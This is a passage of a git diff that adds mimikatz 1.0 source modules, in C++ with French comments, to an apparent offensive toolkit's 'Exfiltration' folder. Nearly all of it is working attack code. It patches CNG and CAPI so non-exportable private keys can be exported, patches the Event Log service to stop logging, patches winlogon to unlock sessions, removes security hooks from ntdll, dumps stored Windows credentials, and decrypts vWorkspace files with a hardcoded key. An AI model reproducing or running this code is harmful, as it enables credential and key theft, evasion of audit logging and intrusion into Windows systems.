LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true)) + { + (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl << + L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl << + L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl; + } + FreeLibrary(hRSA); + } + return true; +} + +bool mod_mimikatz_crypto::patchcng(vector * arguments) +{ + wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll"; + wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll"; +#ifdef _M_X64 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75}; + BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85}; + + BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9}; + BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75}; + + BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#endif + BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4; + + if(mod_cryptong::isNcrypt) + { + if(mod_cryptong::justInitCNG()) + { + wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0; + + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern = PTRN_WI60_SPCryptExportKey; + taillePattern = sizeof(PTRN_WI60_SPCryptExportKey); + } + else + { +#endif + pattern = PTRN_WNO8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey); +#ifdef _M_X64 + } +#endif + libName = LIBNAME_WNO8_NCrypt; + } + else + { + pattern = PTRN_WIN8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey); + libName = LIBNAME_WIN8_NCrypt; + } + + if(arguments->empty()) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT); + } + else + { +#endif + patch = PATC_WALL_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT); +#ifdef _M_X64 + } +#endif + } + else + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WALL_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT); + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + patch = PATC_WNO8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WIN8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT); + } +#endif + } + offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT; + + mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch); + } + else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Pas de CNG ?" << endl; + + return true; +} + +void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName) +{ + wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'}; + for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++) + { + for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++) + { + if(*monIterateur == monTab[i]) + { + *monIterateur = L'~'; + break; + } + } + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h new file mode 100644 index 0000000..7d81c07 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h @@ -0,0 +1,36 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_cryptoapi.h" +#include "mod_cryptong.h" +#include "mod_crypto.h" +#include "mod_process.h" +#include "mod_patch.h" +#include +#include + +class mod_mimikatz_crypto +{ +private: + static void sanitizeFileName(wstring * fileName); + static void listAndOrExportCertificates(vector * arguments, bool exportCert = false); + static void listAndOrExportKeys(vector * arguments, bool exportKeys = false); +public: + static vector getMimiKatzCommands(); + + static bool listProviders(vector * arguments); + static bool listStores(vector * arguments); + static bool listKeys(vector * arguments); + static bool listCertificates(vector * arguments); + + static bool exportCertificates(vector * arguments); + static bool exportKeys(vector * arguments); + + static bool patchcapi(vector * arguments); + static bool patchcng(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp new file mode 100644 index 0000000..019644d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp @@ -0,0 +1,306 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_divers.h" + +vector mod_mimikatz_divers::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)")); + return monVector; +} + +bool mod_mimikatz_divers::nodetour(vector * arguments) +{ + vector mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_VISTA____x64); + mesOS.push_back(mod_patch::WINDOWS_2008_____x64); + mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64); + mesOS.push_back(mod_patch::WINDOWS_2008r2___x64); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3}; + BYTE monDetouredStub[] = {0x90, 0x90, 0xe9}; + + PBYTE monNTDLLptr = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess")); + if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0) + { + (*outputStream) << L"Détour trouvé et "; + if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn))) + (*outputStream) << L"patché :)"; + else + (*outputStream) << L"NON patché :("; + (*outputStream) << endl; + } + else + (*outputStream) << L"Détour non trouvé" << endl; + } + return true; +} + + +bool mod_mimikatz_divers::cancelator(vector * arguments) +{ + vector mesOS; + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84}; + BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; + long offsetCibleNOP = 3; + + vector * mesProcesses = new vector(); + wstring processName = L"winlogon.exe"; + + if(mod_process::getList(mesProcesses, &processName)) + { + for(vector::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++) + { + mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP); + } + } + + delete mesProcesses; + } + return true; +} + + +bool mod_mimikatz_divers::noroutemon(vector * arguments) +{ + //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9 + BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9 + BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00}; + + mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon)); + return true; +} + +bool mod_mimikatz_divers::eventdrop(vector * arguments) +{ + wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll"; + wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll"; +#ifdef _M_X64 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18}; + LONG OFFS_WNT5_PerformWriteRequest = -10; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8}; + LONG OFFS_WN62_Channel__ActualProcessEvent = 0; + + BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3}; +#elif defined _M_IX86 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d}; + LONG OFFS_WNT5_PerformWriteRequest = -20; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2); + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c}; + LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2); + + BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00}; + BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00}; +#endif + + BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0; + BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0; + LONG OFFS_PATC_Process = 0; + wstring libEvent; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + libEvent.assign(LIBNAME_WNT5_EVTLOG); + PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest); + PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest); + OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest; + } + else + { + libEvent.assign(LIBNAME_WNT6_EVTLOG); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent; +#ifdef _M_X64 + } +#elif defined _M_IX86 + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } + else if(mod_system::GLOB_Version.dwMinorVersion < 2) + { + PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent; + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } +#endif + else + { + PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent; +#ifdef _M_IX86 + PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent); +#endif + } + +#ifdef _M_X64 + PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent); +#endif + } + + mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process); + + return true; +} + +bool mod_mimikatz_divers::secrets(vector * arguments) +{ + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS); + + if(CredEnumerate(NULL, flags, &credNb, &pCredential)) + { + (*outputStream) << L"Nombre de secrets : " << credNb << endl; + + for(DWORD i = 0; i < credNb; i++) + { + wstring type; + bool isCertificate = false; + switch(pCredential[i]->Type) + { + case CRED_TYPE_GENERIC: + type.assign(L"GENERIC"); + break; + case CRED_TYPE_DOMAIN_PASSWORD: + type.assign(L"DOMAIN_PASSWORD"); + break; + case CRED_TYPE_DOMAIN_CERTIFICATE: + type.assign(L"DOMAIN_CERTIFICATE"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: + type.assign(L"DOMAIN_VISIBLE_PASSWORD"); + break; + case CRED_TYPE_GENERIC_CERTIFICATE: + type.assign(L"GENERIC_CERTIFICAT"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_EXTENDED: + type.assign(L"DOMAIN_EXTENDED"); + break; + default: + type.assign(L"?"); + } + + (*outputStream) << + L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl << + L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl << + L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << + L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl << + L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl << + endl; + } + CredFree(pCredential); + } + else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_divers::pitme(vector * arguments) +{ + static const BYTE HARDCODED_KEY[] = { + 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f, + 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb, + 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39, + 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f, + 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81, + 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5, + 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10, + 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b, + 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e, + 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d, + 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2, + 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea, + 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4, + 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7, + 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d, + 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e + }; + static const DWORD SUBKEY_SIZE = 16; + static const BYTE HEADER_PIT[] = {'P', 'I', 'T'}; + + FILE * monFichierSource, * monFichierDestination; + BYTE * monBuffer, * monBufferData; + ULONG tailleFichierSource, tailleData; + + if(arguments->size() < 1) + { + (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl; + } + else + { + (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : "; + if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb")) + { + fseek(monFichierSource, 0, SEEK_END); + tailleFichierSource = ftell(monFichierSource); + monBuffer = new BYTE[tailleFichierSource]; + fseek(monFichierSource, 0, SEEK_SET); + fread(monBuffer, tailleFichierSource, 1, monFichierSource); + fclose(monFichierSource); + + (*outputStream) << L"OK" << endl << L" * Déchiffrement n°1 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * Déchiffrement n°2 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * En-tête : "; + if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0) + { + (*outputStream) << L"OK" << endl; + monBufferData = monBuffer + sizeof(HEADER_PIT); + tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE; + + if(arguments->size() > 1) + { + (*outputStream) << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : "; + if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb")) + { + (*outputStream) << L"OK" << endl; + fwrite(monBufferData, tailleData, 1, monFichierDestination); + fclose(monFichierDestination); + } + else (*outputStream) << L"KO" << endl; + } + else (*outputStream) << L" * Données : " << endl << endl << wstring(reinterpret_cast(monBufferData), reinterpret_cast(monBufferData + tailleData)) << endl; + } + else (*outputStream) << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl; + } + else (*outputStream) << L"KO"; + } + else (*outputStream) << L"KO"; + delete [] monBuffer; + } + else (*outputStream) << L"KO" << endl; + } + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h new file mode 100644 index 0000000..9bfcf9f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_patch.h" +#include "mod_secacl.h" +#include "mod_text.h" +#include "mod_crypto.h" +#include +#include +#include "..\global.h" + +class mod_mimikatz_divers +{ +public: + static vector getMimiKatzCommands(); + + static bool cancelator(vector * arguments); + static bool noroutemon(vector * arguments); + static bool eventdrop(vector * arguments); + static bool secrets(vector * arguments); + static bool nodetour(vector * arguments); + static bool pitme(vector * arguments); +}; + + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp new file mode 100644 index 0000000..366c062 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp @@ -0,0 +1,300 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_efs.h" +#include "..\global.h" + +vector mod_mimikatz_efs::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffré")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations très détaillées sur un fichier chiffré")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les données EFS d'un fichier chiffré vers un fichier brut")); + // monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw")); + return monVector; +} + +bool mod_mimikatz_efs::infos(vector * arguments) +{ + if(!arguments->empty()) + { + PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL; + + if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Utilisateur(s) déclaré(s) : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl; + + if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl; + + } + return true; +} + +bool mod_mimikatz_efs::full(vector * arguments) +{ + if(!arguments->empty()) + { + PVOID pvContext = NULL; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast(malloc(0))}; + if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS) + { + PEFS_FEK Fek = NULL; + PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL; + for( + PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast(sba.tableau + sizeof(EFS_RAW)); + reinterpret_cast(monMarshaledStream) < (sba.tableau + sba.nbElements); + monMarshaledStream = reinterpret_cast(monDataSegment) + ) + { + + bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910); + + (*outputStream) << endl << + L"Marshaled Stream :" << endl << + L" * Taille : " << monMarshaledStream->Length << endl << + L" * Flag : " << monMarshaledStream->Flag << endl << + L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl << + L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl << + endl; + + for( + monDataSegment = reinterpret_cast(reinterpret_cast(monMarshaledStream) + monMarshaledStream->Length); + (reinterpret_cast(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052); + monDataSegment = reinterpret_cast(reinterpret_cast(monDataSegment) + monDataSegment->Length) + ) + + { + (*outputStream) << L"DataSegment : " << endl; + PBYTE StreamData = reinterpret_cast(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT); + + if(isEFSMetaData) + { + (*outputStream) << L" EFS Metadata :" << endl; + + PEFS_METADATA_1 mesAttr = reinterpret_cast(StreamData); + (*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl; + if(mesAttr->DDF_Offset) + { + (*outputStream) << L" * Utilisateur(s) déclaré(s) :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek); + } + if(mesAttr->DRF_Offset) + { + (*outputStream) << L" * Agent(s) de recouvrement :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek); + } + } + else + { + (*outputStream) << L" DATA :" << endl; + if(!monMarshaledStream->Flag) + { + (*outputStream) << L" DATA Segment Encryption Header :" << endl; + PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast(StreamData); + (*outputStream) << + L" * Length : " << monSegEncHead->Length << endl << + L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl << + L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl << + L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl << + L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl << + L" * ChunkShift : " << monSegEncHead->ChunkShift << endl << + L" * ClusterShift : " << monSegEncHead->ClusterShift << endl << + L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl << + endl; + + PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast(reinterpret_cast(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks)); + if(monExtHeader->EXTD_Number == 'DTXE') + { + (*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl; + } + + for(DWORD block = 0; 